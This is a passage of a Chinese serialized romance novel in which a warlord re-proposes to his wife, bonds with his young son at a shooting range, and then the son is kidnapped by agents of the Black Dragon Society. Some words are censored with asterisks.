陆淮锦开口,打破了院中的静谧,“原来的那一棵……烧**。”
沈晚清的手指微微收紧。
烧**。就像当年的“沈晚清”一样。
“陆淮锦。”
她放下茶杯,抬起头,目光清澈地看着他,“你想知道这三年,我是怎么过的吗?”
陆淮锦的心口一紧,点了点头,声音沙哑:“我想知道。”
“三年前的那天夜里……”
沈晚清缓缓开口,声音很轻,却字字千钧。
她讲到了那张带着血腥气的威胁纸条,讲到了她在产房里的挣扎与决断,讲到了她是如何在大火燃起前一刻,钻进密道。
“那时候,阿福问我,为什么要做到这一步。”
沈晚清看着飘落的海棠花,眼中泛起泪光,“我说,你是要在天上飞的雄鹰,不能被地上的荆棘绊住脚。如果是为了我和孩子,让你输了那一仗,甚至让你丢了命……那我活着,比死还难受。”
陆淮锦听着,双手死死地攥成拳,指甲深深陷入掌心。
他一直以为自己是护着她的参天大树,却没想到,在他看不见的地方,她用柔弱的肩膀替他扛下了最致命的一击。
“后来在柳镇。”
沈晚清继续说道,“刚开始很难。孩子小,我又不敢用真名,只能去给码头上的苦力看病换口粮。有时候半夜孩子哭,我也跟着哭。我也想过给你写信,想过回来……”
“可是,那时候报纸上天天都是你要**的消息。我怕……我怕我一出现,那些**又会盯上团圆。”
“所以我就忍。”
“我想着,等你真正平定了天下,等你把所有的敌人都杀光了,我就带着孩子回来找你。”
“只是没想到……”她苦笑一声,“这一等,就是三年。而你,也真的变成了那个**不眨眼的修罗。”
“别说了……”
陆淮锦猛地伸出手,隔着石桌紧紧握住她的手。他的眼眶通红,声音哽咽难言。
“是我无能。”
“我打赢了全天下的仗,却护不住自己的老婆孩子。”
他深吸一口气,平复着胸腔里翻涌的情绪,然后缓缓讲述起属于他的这三年。
“晚晚,你知道吗?”
“这三年,我没睡过一个整觉。”
陆淮锦看着她的眼睛,坦诚地剖开自己那鲜血淋漓的内心,“只要一闭眼,就是漫天的大火,就是你在火里喊救命的声音。”
“他们都说我疯了,说我要把北地杀成修罗场。”
“其实我是真的疯了。”
“我不敢停下来。因为只要一停下来,我就会想你。我只能不停地**,不停地打仗,用血腥味来麻痹自己。”
他指了指身后的这座院子。
“这座听涛苑,是我唯一的寄托。”
“每一个摆件,每一块砖,都是我亲自挑的。有时候半夜醒来,我就坐在这里发呆,幻想着你还在屋里睡觉,幻想着……这只是我做的一场噩梦。”
说到这里,陆淮锦自嘲地笑了笑,眼底满是破碎的光。
“那天在柳镇,看到你的第一眼,我以为我终于疯彻底了,出现幻觉了。”
“直到把你抱在怀里,感觉到你的体温……”
“那一刻我就发誓,这辈子,哪怕是下地狱,我也要把你绑在我身边。哪怕你会恨我。”
两人隔着石桌对视。
三年的时光,隔着千山万水的思念,隔着生与死的误会,终于在这一刻,在彼此的泪光中,彻底消融。
原来,从来没有谁背弃谁。
这是一场双向奔赴的牺牲,是一份沉重到令人窒息的深情。
“晚晚。”
陆淮锦突然站起身,从怀里掏出一个黑色丝绒的小盒子。
他绕过石桌,走到沈晚清面前。
这一次,他没有像之前那样霸道地强迫,也没有像昨天那样卑微地乞求。
他单膝跪地。
动作郑重而优雅,仿佛是在面对一位高贵的公主。
“咔哒。”
盒子打开。
里
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面静静地躺着一枚戒指。
正是当年那枚被大火熏黑的钻戒。
只是此刻,它已经被重新打磨过。那一层洗不掉的焦黑色被巧妙地保留了下来,工匠用金粉将那些裂纹细细填补,形成了一种独特的“金镶玉”般的纹路。
它是破碎的,却也是新生的。
就像他们现在的感情,历经劫难,却更加坚不可摧。
“这枚戒指,我戴了三年,贴着心口戴的。”
陆淮锦取出戒指,执起沈晚清的左手,目光灼灼地看着她:
“沈晚清。”
“之前的陆大帅太混蛋,把你弄丢了。”
“现在,我想重新向你求一次婚。”
“不是为了孩子,不是为了责任,只是因为我爱你。”
“你愿意……再嫁给我一次吗?让我们把这碎了的镜子,重新拼回来。”
沈晚清看着那枚带着金色裂纹的戒指,看着眼前这个为了她卸下一身傲骨的男人。
她想起了柳镇那个孤独的背影,想起了昨晚他笨拙地照顾孩子的样子。
泪水模糊了视线。
她缓缓伸开手指,任由他将那枚戒指,重新推进了她的无名指。
不大不小,刚刚好。
“陆淮锦。”
沈晚清破涕为笑,手指轻轻拂过他眉间的褶皱:
“这次要是再敢把我弄丢……”
“我就真的带着儿子改嫁,让你这辈子都只能看着他叫别人爹。”
“你敢!”
陆淮锦猛地站起身,一把将她拥入怀中,力道大得仿佛要将她揉碎。
“除非我死。”
他在她唇上落下深情而缠绵的一吻,在这个海棠花开的黄昏,许下了最郑重的誓言:
“不对,就算我**,变成鬼我也要缠着你。”
“沈晚清,我们这一生,至死方休。”
风过林梢,花瓣如雨。
听涛苑的大门外,宋副官听着里面的动静,悄悄挥手让所有警卫退下。
这场迟到了三年的解释,终于画上了一个圆满的句号。
但对于陆大帅来说,真正的挑战才刚刚开始。
毕竟,老婆虽然哄回来了,但那个对他充满敌意的“小情敌”儿子,可还没那么容易松口。
要想真正过上老婆孩子热炕头的日子,我们的“修罗战神”,还得学会一项新技能——如何笨拙地讨好人。
第125章 重新追求
清晨的阳光洒在餐桌上。
陆淮锦穿着一身宽松的家居服,坐在主位上,却觉得屁股底下像是有针在扎。
因为他发现,自己在这个家里的地位,似乎……有点低。
“娘亲,吃鸡蛋!”小团圆殷勤地把剥好的鸡蛋放在沈晚清碗里。
“谢谢团圆。”沈晚清笑着摸了摸儿子的头。
“娘亲,我想吃顾叔叔做的桂花糕了。”小团圆突然叹了口气,一脸怀念,“顾叔叔做的糕糕最软了,不像这里的厨子做的,硬邦邦的。”
“啪!”
陆淮锦手里的筷子被硬生生折断了。
顾叔叔。又是顾叔叔!
那个姓顾的阴魂不散了是吧?
“咳咳。”陆淮锦清了清嗓子,试图寻找存在感,“团圆,爹……爹让人去买全北城最好吃的桂花糕,好不好?”
小团圆看了他一眼,嫌弃地撇撇嘴:“买的没有心意。顾叔叔说,只有亲手做的才好吃。”
陆淮锦:“……”
好,很好。亲手做是吧?
“宋虎!”
陆淮锦猛地站起身,一脸杀气,“去把厨房清场!本帅要……亲自下厨!”
……
一个时辰后。帅府小厨房。
“大帅!那个是盐!不是糖啊!”“大帅!火太大了!要炸了!”“大帅!那是醋!您倒多了!”
一阵鸡飞狗跳之后,一股浓烈的焦糊味伴随着黑烟从厨房飘了出来。
沈晚清抱着孩子闻讯赶来时,就看到满脸黑灰、头发都被燎卷了一撮的陆大帅,正端着一盘黑乎乎、甚至还在冒着诡异气泡的东西走出来。
“这……”沈晚清强忍着笑,“这是什么?新式**?”
陆淮锦的脸有些挂不住,但他还是硬着头皮把盘子递过去:
“这是……桂花糖藕。”
“我也能做。”他有些不服气地小声嘀咕,“不就是个藕吗?还能比排兵布阵难?”
沈晚清看着盘子里那几截死不瞑目的藕,实在是不忍心打击他。
但小团圆是个诚实的孩子。
他捏着鼻子后退了三步,毫不留情地补刀:“哇!大坏蛋在煮**!娘快跑!他要毒死我们!”
陆淮锦:“……”
第一回合,完败。
……
午后,听涛苑花园。
陆淮锦痛定思痛,决定换个赛道。
既然厨艺这种“娘们唧唧”的事情不适合他,那就来点风雅的。
他记得以前沈晚清最喜欢花。
于是,趁着沈晚清午睡,陆淮锦拿着一把大剪刀,偷偷溜进了帅府最名贵的牡丹园。这里种着几株极品“魏紫”和“姚黄”,是专人伺候了三年的宝贝。
“咔嚓!咔嚓!”
陆淮锦手起刀落,辣手摧花。他觉得送一支太寒酸,要送就送最大的、最多的。
等沈晚清醒来推开窗时,她惊呆了。
只见陆淮锦捧着一大捆五颜六色的牡丹花,站在窗下,一脸求表扬的表情。
“晚晚,送给你。”
他把那捆花举起来,“我看这花开得不错,都给你剪来了。”
沈晚清看着那捆被草绳胡乱系着、花瓣都被挤压变形的名贵牡丹,再看看远处那片被剪成了“秃顶”的花园,只觉得眼前一黑,心在滴血。
“陆、淮、锦!”
沈晚清深吸一口气,咬牙切齿,“那是养了三年的魏紫!你就这么给……给就义了?”
“啊?”陆淮锦愣住了,“不在花瓶里插着吗?我想着给你个惊喜……”
“这是惊吓!”
沈晚清气得关上了窗户,“今晚你不许进屋!”
陆淮锦捧着一捆残花,站在风中凌乱。
第二回合,惨败。
……
傍晚,后院草坪。
陆淮锦越挫越勇。
他发现小团圆正拿着那个从柳镇带回来的破风筝在玩,但因为之前摔坏过,风筝飞不高。
“机会来了。”
陆淮锦眼睛一亮。
那个姓顾的只会做这种纸糊的玩意儿,弱不禁风。他陆淮锦要做,就要做个最霸气、最结实的!
他找来最好的竹条,甚至还用了做军用帐篷的防水布,亲手扎了一个巨大的、足有半人高的“老鹰”风筝。为了显**风,他还特意在风筝上画了陆家军的军徽。
“儿子!看爹给你做了什么!”
陆淮锦扛着那个巨大的风筝,自信满满地走过来,“扔了那个破烂,玩这个!”
小团圆被那个巨大的黑色物体吓了一跳:“这是什么?盾牌吗?”
“这是风筝!超级无敌大老鹰!”
陆淮锦得意地把线轴塞给儿子,“来,爹给你放飞!”
然而。
现实是残酷的。
因为
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用料太扎实、太追求“结实”,这个风筝……太重了。
无论陆淮锦怎么在草地上狂奔,怎么利用风向,那个“超级无敌大老鹰”就像块铁板一样,在空中扑腾了两下,然后“啪叽”一声,重重地砸在了地上,砸出一个坑。
连试三次,次次坠毁。
小团圆手里拿着那个轻飘飘的破风筝,看着满头大汗、气喘吁吁的亲爹,最后实在忍不住,发出了银铃般的嘲笑声:
“哈哈哈哈!大笨蛋!你的老鹰吃太胖了!飞不起来啦!”
陆淮锦叉着腰,看着地上那个“铁疙瘩”,陷入了深深的自我怀疑。
他堂堂特级上将,平定北六省只用了一个月。
怎么讨好老婆孩子,比打天下还难?
“笨**。”
就在这时,一条手帕递到了他面前。
沈晚清不知何时走了过来,虽然嘴上嫌弃,但眼底却带着盈盈笑意。她抬手替他擦了擦额头的汗。
“哪有拿帐篷布做风筝的?”
“我这不是想给他最好的么……”陆淮锦委屈地抓住她的手,“晚晚,我是不是真的很没用?”
“术业有专攻。”
沈晚清看着不远处还在笑话亲爹的儿子,轻声提点道:
“团圆是男孩子。他崇拜的是大英雄,不是裁缝和厨子。”
“你与其跟顾先生比那些你不擅长的,不如……让他看看你陆大帅真正的本事?”
陆淮锦闻言,虎躯一震。
真正的本事?
他看向儿子手里的小木枪,又看了看自己腰间的配枪,眼中的挫败感瞬间一扫而空,取而代之的是那股熟悉的锐气。
是啊。
他可是修罗战神。
骑马、打枪、真刀**的本事,那个姓顾的教书先生拍马也赶不上!
“儿子!”
陆淮锦大步走过去,一把将小团圆举过头顶,骑在自己脖子上。
“风筝不好玩。明天爹带你去校场。”
“让你看看,什么叫真正的‘大老鹰’,什么叫真家伙!”
“真家伙?”小团圆眼睛亮了,“是砰砰响的那种吗?”
“比那个更响,更威风!”
夕阳下,父子俩的影子被拉得很长。
这一天的笨拙追求虽然以失败告终,但这充满烟火气的笑闹声,却终于驱散了帅府上空盘旋了三年的阴霾。
第126章 带娃日常
对于不到四岁的小团圆来说,今天绝对是他人生中最震撼的一天。
没有难吃的桂花糕,没有飞不起来的胖风筝。
当黑色的防弹轿车驶入那个戒备森严的大门,当数万名身穿灰绿色军装、荷枪实弹的士兵齐刷刷地立正敬礼,高呼“大帅”时,小团圆的嘴巴张成了“O”型,半天都没合拢。
“怎么样?”
陆淮锦今天特意换上了一身崭新的特级上将戎装,脚蹬马靴,腰挂配枪,整个人英姿挺拔,散发着一股睥睨天下的霸气。
他单手把儿子抱在臂弯里,指着眼前这壮观的军阵,嘴角勾起一抹自信的弧度:
“这排场,比你那个顾叔叔的学堂,如何?”
小团圆咽了口唾沫,乌溜溜的大眼睛里满是星星:
“好……好多人!好多枪!像蚂蚁一样多!”
陆淮锦:“……”
虽然比喻不太恰当,但这那是被震撼到了。
“走,爹带你去玩点真男人的东西。”
……
靶场。
“砰!砰!砰!”
震耳欲聋的**响彻云霄。
一百米外,十个竖立的酒瓶应声而碎,玻璃渣子在阳光下炸开,如同绚丽的烟花。
陆淮锦单手**,枪口还冒着缕缕青烟。
他吹了**口,侧过头看向旁边的小团圆。
本来他还担心**会把孩子吓哭,特意让人给孩子戴上了特制的棉耳罩。结果没想到,小团圆不仅没哭,反而兴奋得小脸通红,两只小手把着栏杆,激动得直跳脚。
“哇!碎了!全碎了!”
小团圆摘下耳罩,崇拜地看着陆淮锦,“大……那个,爹爹!你会变魔术吗?手指一动瓶子就炸了!”
这一声“爹爹”,叫得陆淮锦浑身舒畅,比打赢了一场胜仗还爽。
“这不是魔术,这是枪法。”
陆淮锦蹲下身,把自己那把勃朗宁配枪退了**,卸下**,确认为空枪后,才小心翼翼地递到儿子面前。
“摸摸?”
小团圆屏住呼吸,伸出小手,敬畏地摸了摸那冰冷的黑色金属枪身。沉甸甸的,凉凉的,却让他热血沸腾。
“这就是真家伙?”
“对,这是保家卫国的家伙。”
陆淮锦握着儿子的小手,教他摆出一个**的姿势,虽然那枪比孩子的手还要大,但他还是认真地说道:
“团圆,你要记住。陆家的男人,拿枪不是为了欺负人,是为了保护你想保护的人。”
“就像爹爹保护娘亲和我一样吗?”小团圆天真地问道。
陆淮锦一愣,随即重重地点头,眼底闪过一丝愧疚与坚定:
“对。以前爹爹没做好,以后,爹爹手里的枪,只为你们娘俩响。”
“我也要学!”
小团圆举起那个对他来说重如千钧的空枪,眼神坚定,“我也要保护娘亲!”
“好小子,有种!”
陆淮锦大笑一声,从口袋里掏出一枚早就准备好的、刻着小团圆名字的纯金弹壳项链,挂在儿子脖子上。
“这是爹送你的见面礼。等你长高了,够得着**了,爹教你打真的!”
……
跑马场。
如果说打枪是视觉震撼,那骑马就是彻底的放飞自我。
“踏雪,过来。”
陆淮锦吹了声口哨。那一匹曾差点踩到小团圆的雪白战马“踏雪”,温顺地跑了过来,亲昵地蹭了蹭陆淮锦的手掌。
“它不咬人。”
陆淮锦摸了摸马头,对有些害怕的小团圆说,“那天是你突然冲出来吓到它了。其实它是全军营最温顺的马。”
“真的吗?”
小团圆试探着伸出手,摸了摸马鼻子。踏雪打了个响鼻,并没有躲闪。
“上马!”
陆淮锦一把将儿子举起来,放在马鞍的前端,然后自己翻身上马,双臂从后面环住儿子,将他牢牢护在怀里。
“坐稳了!咱们飞喽!”
“驾!”
双腿一夹马腹,战马如离弦之箭般冲了出去。
风在耳边呼啸,两边的景物飞速**。
这种风驰电掣的感觉,让从未出过远门的小团圆兴奋得尖叫起来。
“啊——!好快!好高!”
“爹爹!再快点!我们要追上风了!”
陆淮锦听着怀里儿子清脆的笑声,感受着那小小的身躯对自己的依赖,心中那块缺失了三年的拼图,终于彻底补全了。
他放慢了速度,让马儿在草地上信步慢走。
夕阳西下,将父子俩的影子拉得很长很长,融为一体。
“团圆,以后别玩那个破风筝了。”
陆淮锦趁热打铁,不忘拉踩情敌,“那个姓顾的只会做纸老鹰。爹爹能带你骑真的马,看真的老鹰。”
“嗯!”
小团圆重重地点头,早已把那个“顾叔叔”抛到了九霄云外,满心满眼都是身后这个高大威猛的爹爹。
“爹爹最厉害!比画报上的大英雄还厉害!”
“那是自然。”
陆淮锦下巴微扬,那股子傲娇劲儿又上来了。
……
黄昏,帅府听涛苑。
沈晚清在门口等了一天。
虽然知道陆淮锦有分寸,但毕竟是去军营那种刀枪无眼的地方,她心里总是七上八下的。
终于,熟悉的车声响起。<
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br>陆淮锦抱着已经累得睡着的小团圆大步走了进来。
小家伙趴在父亲宽阔的肩膀上,睡得哈喇子都流出来了,一只小手里还紧紧攥着那枚金弹壳,另一只手则死死抓着陆淮锦的衣领,那是极度信任和依赖的表现。
“回来了?”
沈晚清迎上去,看到这一幕,悬着的心终于放了下来,眉眼间染上了温柔的笑意。
“嗯,玩累了。”
陆淮锦压低声音,把孩子轻手轻脚地放在床上,盖好被子。
他直起腰,转过身看着沈晚清,那一脸“求表扬”的表情简直藏都藏不住。
“怎么样?陆太太。”
他凑过去,从背后抱住沈晚清的腰,下巴在她颈窝里蹭了蹭,“我今天的表现,能打几分?”
“把儿子拐得都不认识娘了。”
沈晚清嗔怪地看了他一眼,却并没有推开他,反而反手握住了他的手,“不过……看在他这么开心的份上,给你打九分吧。”
“才九分?”陆淮锦不满意,“那一分扣在哪?”
“扣在你太骄傲。”
沈晚清笑着点了一下他的额头,“怕你尾巴翘到天上去。”
“只要你们娘俩在我身边,我愿意一辈子翘着尾巴给你们当马骑。”
陆淮锦低笑一声,吻住了她的唇。
屋内温馨缱绻,一室安宁。
然而。
这对沉浸在幸福中的夫妻并不知道,就在今天的校场外围,在那些欢呼的人群阴影里,有一双如同毒蛇般阴冷的眼睛,已经死死地盯上了马背上的那个孩子。
……
北城某处隐秘的日式公馆。
“咔嚓。”
一张照片被洗了出来,夹在绳子上。
照片上,正是陆淮锦带着小团圆骑马大笑的画面。
“这就是陆修罗的儿子?”
一个身穿和服、留着仁丹胡的男人,用日语阴恻恻地问道。
“是的,松井阁下。”
旁边的一个汉奸点头哈腰,“这就是消失了三年的沈晚清生的孩子,叫陆念清。今天刚带去军营,陆淮锦宝贝得跟眼珠子似的。”
“哟西。”
被称为松井的男人拿起照片,目光贪婪而恶毒地盯着那个孩子。
“陆淮锦是一块硬骨头,刀枪不入,我们在战场上赢不了他。”
“但是……”
他拿起一只飞镖,狠狠地钉在照片上小团圆的眉心处。
“只要有了这个软肋,这头凶猛的老虎,就只能乖乖变成我们的看门狗。”
“传令给‘黑龙会’特别行动组。”
“这次的目标,不是陆淮锦。”
“是那只幼崽。”
第127章 黑龙会的阴谋
一间挂着厚重丝绒窗帘的密室里,烟雾缭绕。
墙上挂着一张巨大的北六省军事布防图,上面密密麻麻地插满了红蓝两色的旗帜。然而,此刻房间里所有人的目光,并没有落在地图上,而是聚焦在桌子中央的一张照片上。
那是一张刚从陆军校场偷拍出来的照片。
照片上,威风凛凛的陆大帅正把一个粉雕玉琢的小男孩举过头顶,父子俩笑得那样灿烂。
“八嘎!”
一个穿着黑色和服、留着仁丹胡的中年男人猛地将茶杯摔在地上,碎片四溅。
他叫松井石根,是日本**翼组织“黑龙会”在北方的总负责人,也是陆淮锦多年的死对头。
“这个陆淮锦,简直是又臭又硬的石头!”
松井在房间里来回踱步,脸色阴沉如水,“我们开出了那么优厚的条件,甚至愿意支持他做大总统,只要求他出让胶济铁路的修筑权和开矿权,他竟然当场撕毁了合约!还把我们的谈判代表轰了出来!”
“阁下息怒。”
旁边一个戴着金丝眼镜、看起来文质彬彬的男人——代号“毒蝎”的高级间谍,阴恻恻地笑了笑。
“陆淮锦之所以硬气,是因为他觉得他没有弱点。他是个疯子,是个修罗,他不怕死,也不怕输。”
毒蝎伸出戴着白手套的手指,轻轻点了点照片上那个笑得天真无邪的孩子。
“但是现在,情况不同了。”
“修罗有了软肋,就不再是无坚不摧的神。”
松井停下脚步,目光贪婪地盯着那个孩子:“你的意思是……**这个幼崽?”
“不只是**。”
毒蝎摇了摇手指,眼底闪烁着恶毒的光芒,“我们要用这个孩子,做一根拴狗的链子。”
“只要孩子在我们手里,陆淮锦这头猛虎,就得乖乖听我们的指挥。让他签**条约他得签,让他割地他得割!”
“而且……”
毒蝎顿了顿,声音更低了:“听说这个孩子,是那个‘死而复生’的沈晚清生的。沈晚清可是陆淮锦的命根子。抓了小的,大的也会乱。到时候,我们要让陆家彻底家破人亡!”
“哟西!”
松井露出了狰狞的笑容,“具体的计划,你有了吗?”
“陆淮锦虽然狂妄,但对这个失而复得的儿子保护得非常严密。”毒蝎分析道,“帅府如铁桶一般,强攻是不可能的。校场那边更是重兵把守,也没机会。”
“但是,根据我们的内线情报……”
毒蝎从怀里掏出另一份文件,摊开在桌上。
“陆淮锦为了让儿子接受最好的教育,同时也为了显示他陆家有后了,决定把孩子送去北城培英幼稚园。”
“那里是北城所有权贵子弟的**地,虽然也有守卫,但毕竟是学校,人员混杂,是最好的下手地点。”
松井眼睛一亮:“什么时候入学?”
“三天后,四月一日。”
毒蝎嘴角勾起一抹残忍的弧度,“愚人节。正好,我们可以给陆大帅开一个足以让他终身难忘的‘玩笑’。”
“传令给‘影子’行动组。”
“目标:培英幼稚园。”
“任务:不惜一切代价,活捉陆念清!”
……
北城,帅府听涛苑。
三月二十九日,清晨。
完全不知道危机已经降临的帅府,此刻正沉浸在一片喜气洋洋的氛围中。
“这件!穿这件小西装!”
陆淮锦手里拿着一套定制的黑色丝绒小西装,正在给儿子比划,“还得打个领结。我儿子穿上一定是最帅的小绅士。”
“我不穿!”
小团圆光着脚丫在床上乱跑,躲避亲爹的“魔爪”,“勒脖子!不舒服!我要穿顾叔叔给买的小马褂!”
“又是顾叔叔!”
陆淮锦脸一黑,一把抓住儿子的脚踝,把他拖了回来,“在北城,以后不许提这三个字!再提我就把你的风筝没收了!”
“娘!爹爹欺负我!”小团圆立刻向正在梳妆的沈晚清告状。
“行了,你们爷俩消停点吧。”
沈晚清放下梳子,无奈地走过来。她接过陆淮锦手里的小西装,熟练地给儿子穿上
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,一边整理领口一边说道:
“淮锦,真的要这么早就送团圆去学堂吗?他才三岁多,而且咱们刚回来,局势还不稳……”
作为母亲,她的直觉总是比理智更敏锐。这几天,她右眼皮一直在跳,总觉得心里慌慌的。
“晚晚,你就是太小心了。”
陆淮锦从身后抱住她,宽慰道,“培英幼稚园是全北城最好的学堂,里面的老师都是留洋回来的,而且安保措施我都安排好了。”
“宋虎会亲自带一个警卫排,每天接送。在学校里,我也安插了便衣。”
“团圆是陆家的长子,将来是要继承帅印的。总不能一直养在家里,得让他出去见见世面,结交一些同龄的朋友。”
他说得头头是道,沈晚清也找不出反驳的理由。
确实,团圆这三年跟着她在乡下,虽然自由,但确实少了些同龄人的玩伴。而且培英幼稚园里都是军政要员的孩子,安保应该没问题。
“那……好吧。”
沈晚清叹了口气,蹲下身,轻轻抚摸着儿子的小脸,“团圆,去了学堂要听老师的话,不要跟小朋友打架,知道吗?”
“知道啦!”
小团圆穿着帅气的小西装,戴着小礼帽,对着镜子臭美地敬了个礼,“我是小少帅!我不打架,我只保护女同学!”
“臭小子。”陆淮锦笑骂了一句,眼里满是骄傲。
……
北城,培英幼稚园外。
一个穿着灰色长衫、推着卖糖葫芦小车的摊贩,正慢悠悠地在学校门口转悠。
他的目光看似浑浊,实则精光内敛,不时扫过学校的围墙、侧门以及守卫的换岗时间。
在他的袖口里,藏着一把锋利的**。
而在不远处的巷子里,一辆不起眼的黑色轿车静静地停在那里,车窗紧闭,像是一口等待吞噬猎物的棺材。
一张针对小团圆的天罗地网,已经悄然张开。
而此时的陆淮锦,还沉浸在家庭团圆的幸福中,全然不知,他那个“只要有枪就能保护一切”的自信,即将被现实狠狠击碎。
第128章 **危机
天空阴沉沉的,压得很低,似乎在酝酿着一场倒春寒的暴雨。
今天是愚人节,但对于北城的人来说,这个西洋节日并不流行。
幼稚园门口,放学的钟声准时敲响。
一排排黑色轿车和黄包车早已把校门口堵得水泄不通,达官显贵们的保镖、仆人挤在门口,伸长了脖子等着接自家的小少爷、小小姐。
“宋副官,这就是今天的点心。”
学校的教导主任满脸堆笑地把一个食盒递给站在最显眼位置的宋虎,“小少帅今天表现很好,画画还得了一朵小红花呢。”
“有劳了。”
宋虎接过食盒,脸上虽然带着笑,但那双精明的眼睛却像雷达一样,时刻警惕地扫视着四周。
在他身后,二十名精锐警卫呈扇形散开,将校门口的一片区域牢牢控制住。
“大帅今天有个紧急军务会议,晚点到。”宋虎对身边的手下低声吩咐,“一会接到小少爷,直接上车,不要停留。”
“是!”
就在这时。
“轰——!!!”
一声巨响毫无预兆地在街道尽头炸开。
紧接着,一辆运送煤炭的大卡车像是失控了一样,咆哮着冲向校门口的人群,然后重重地撞在学校的围墙上,油箱瞬间**,火光冲天。
“啊——!!”“救命啊!**了!”“孩子!我的孩子还在里面!”
校门口瞬间乱成了一锅粥。惊恐的家长、尖叫的仆人四散奔逃,场面彻底失控。
“保护现场!别乱跑!”
宋虎脸色大变,拔出枪大吼,“一队去灭火救人!二队跟我冲进去接小少爷!快!”
在这种极度的混乱中,哪怕是训练有素的陆家军也被汹涌的人潮冲散了队形。
……
幼稚园内部,中班教室。
外面的**声吓哭了教室里所有的孩子。
“哇——我要妈妈!”“好可怕!打雷了吗?”
孩子们缩成一团,瑟瑟发抖。
唯独坐在角落里的小团圆没有哭。他紧紧攥着脖子上的金弹壳项链,那张酷似陆淮锦的小脸上虽然也有一丝紧张,但眼神却异常镇定。
“遇事不要慌,要找掩体。”——这是爹爹教他的。
小团圆迅速钻到了结实的讲台桌底下。
就在这时,教室的后门被推开了。
一个穿着灰色校工制服、戴着口罩的男人走了进来。他手里拿着一个黑色的布袋,眼神冰冷地扫视着混乱的教室,最后精准地锁定了讲台下的那个小小身影。
“陆念清小朋友。”
男人走过来,声音沙哑,带着一丝诡异的急切,“外面着火了,你爹爹让我来接你走后门。”
“我爹爹?”
小团圆警惕地向后缩了缩,“我爹爹是大帅,他说过只有宋叔叔能接我。你是谁?”
“我是宋副官派来的,他被堵在前门了。”
男人眼中闪过一丝不耐烦,不再废话,猛地伸出手抓向小团圆。
“你撒谎!”
小团圆虽然人小,但反应极快。他猛地张嘴,狠狠一口咬在男人的手背上,用尽了吃奶的力气。
“啊!”男人吃痛,闷哼一声。
“救命啊!有坏人!!”小团圆趁机大喊,拔腿就往门口跑。
“八嘎!小兔崽子!”
男人被激怒了,他顾不上伪装,直接一个箭步冲上去,从后面一把捂住了小团圆的口鼻。
一块带着刺鼻**气味的手帕,死死地堵住了小团圆的呼吸。
“唔……唔唔……”
小团圆拼命挣扎,小短腿乱蹬。他在失去意识前的最后一秒,用手猛地扯断了脖子上的项链。
“叮铃。”
那枚刻着“陆念清”三个字的金弹壳,掉落在门缝边的地板上,发出清脆的响声。
随后,黑暗袭来。
男人迅速将昏迷的小团圆塞进那个黑色的布袋里,伪装成垃圾袋,扛在肩上,避开前门的混乱,从早已破坏的一处隐蔽围墙缺口翻了出去。
外面,一辆不起眼的收粪车早已等候多时。
……
五分钟后。
“小少爷!小少爷!”
宋虎带着人满脸黑灰地冲进教室。
教室里空荡荡的,只有几个躲在角落里哭泣的孩子和吓傻了的女老师。
“陆念清呢?!”宋虎一把揪住女老师的领子,眼珠子都红了。
“刚才……刚才有个校工……把他带走了……”女老师颤抖着指着后门。
“校工?学校哪来的男校工?!”
宋虎的心瞬间凉了半截,如坠冰窟。
他松开老师,疯了一样冲向后门。
那里没有人。
只有一枚静静躺在地板缝隙里的金弹壳。
那是大帅送给小少爷的见面礼,小少爷平时连洗澡都舍不得摘。
宋虎颤抖着手捡起那枚还带着体温的弹壳,这一刻,这个在战场上流血不流泪的汉子,腿软得直接跪在了地上。
“完了……”
“调虎离山……出事了……”
……
北城,陆帅府书房。
陆淮锦正在和几位将领商讨胶济铁路的防务问题。
突然,一阵急促凌乱的脚步声打破了书房的肃静。
“大帅!不好了!”
赵铁柱连门都没敲,直接撞了进来,脸色惨白如纸,手里还拿着那个从学校带回来的金弹壳。
“慌什么
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!天塌了?”陆淮锦眉头紧锁,不悦地呵斥道。
“大帅……天真的塌了……”
赵铁柱“噗通”一声跪在地上,举起手中的弹壳,声音带着哭腔:
“宋副官来报……培英幼稚园门口发生**,现场混乱……”
“小少爷……小少爷被人趁乱劫走了!”
“啪嗒。”
陆淮锦手中的钢笔掉落在桌上,墨水溅开,染黑了面前的文件。
书房里瞬间死一般的寂静。
所有人都惊恐地看着那个坐在主位上的男人。
陆淮锦没有说话,也没有发火。
他只是死死地盯着赵铁柱手里的那枚金弹壳。那是他前几天才亲手挂在儿子脖子上的,他还记得儿子当时兴奋的小脸。
几秒钟后。
“你说什么?”
陆淮锦缓缓站起身,声音轻得可怕,就像是从地狱深处吹来的阴风。
“你再说一遍。”
“小少爷……被**了。”
“轰——!!!”
陆淮锦猛地掀翻了面前那张几百斤重的红木书桌。
文件、电话、台灯,稀里哗啦碎了一地。
“封城!!!”
一声暴怒的咆哮,震得整个帅府都在颤抖。
陆淮锦双目赤红,脖子上青筋暴起,如同一头被触犯了逆鳞的疯龙。
“传令警备司令部!传令城防营!传令水师!”
“立刻封锁北城所有出入口!一只鸟也不许飞出去!”
“挖地三尺!也要把人给我找出来!!”
“是!!!”
将领们吓得魂飞魄散,连滚带爬地冲出去执行命令。
陆淮锦站在一片狼藉的书房里,胸口剧烈起伏。他一把抓起那枚金弹壳,紧紧攥在手心,锋利的金属边缘刺破了掌心,鲜血淋漓。
黑龙会。
不用查都知道是谁。
除了那群阴沟里的老鼠,没人敢动他陆淮锦的儿子。
“松井石根……”
陆淮锦咬着牙,每个字都像是嚼碎了骨头吐出来的,“你敢动他一根头发,我要整个东交民巷陪葬!”
就在这时。
书房门口传来了一声极轻的响动。
陆淮锦猛地回头。
只见沈晚清站在门口,手里端着的参汤早已摔碎在地。她的脸色苍白得近乎透明,身体摇摇欲坠,但那双眼睛却死死地盯着陆淮锦手中染血的弹壳。
“团圆……怎么了?”
她问。声音轻得像是一碰就碎的泡沫。
那一刻,陆淮锦的心脏像是被一只无形的大手狠狠捏碎。
他该怎么告诉她?
他刚刚承诺过要保护她们娘俩,转眼间,儿子就在他的眼皮子底下丢了。
第129章 夫妻同心
书房内一片狼藉,空气中弥漫着绝望与暴怒的气息。
陆淮锦看着站在门口、摇摇欲坠的沈晚清,那一瞬间,他甚至比刚才听到儿子被**时还要恐慌。
他怕她碎掉。
怕她像三年前那样,承受不住打击,再次离他而去。
“晚晚……”
陆淮锦不顾手上的鲜血,踉跄着冲过去,想要扶住她,“你别急……没事的……我一定……”
他的话还没说完,声音已经哽咽。
怎么可能没事?那是黑龙会!是一群**不吐骨头的恶魔!
然而,预想中的尖叫和晕厥并没有发生。
沈晚清的身体确实晃了一下,但她很快扶住了门框,深吸一口气,那双原本有些涣散的瞳孔,在极短的时间内重新聚焦,迸发出一种令人心悸的冷光。
“给我。”
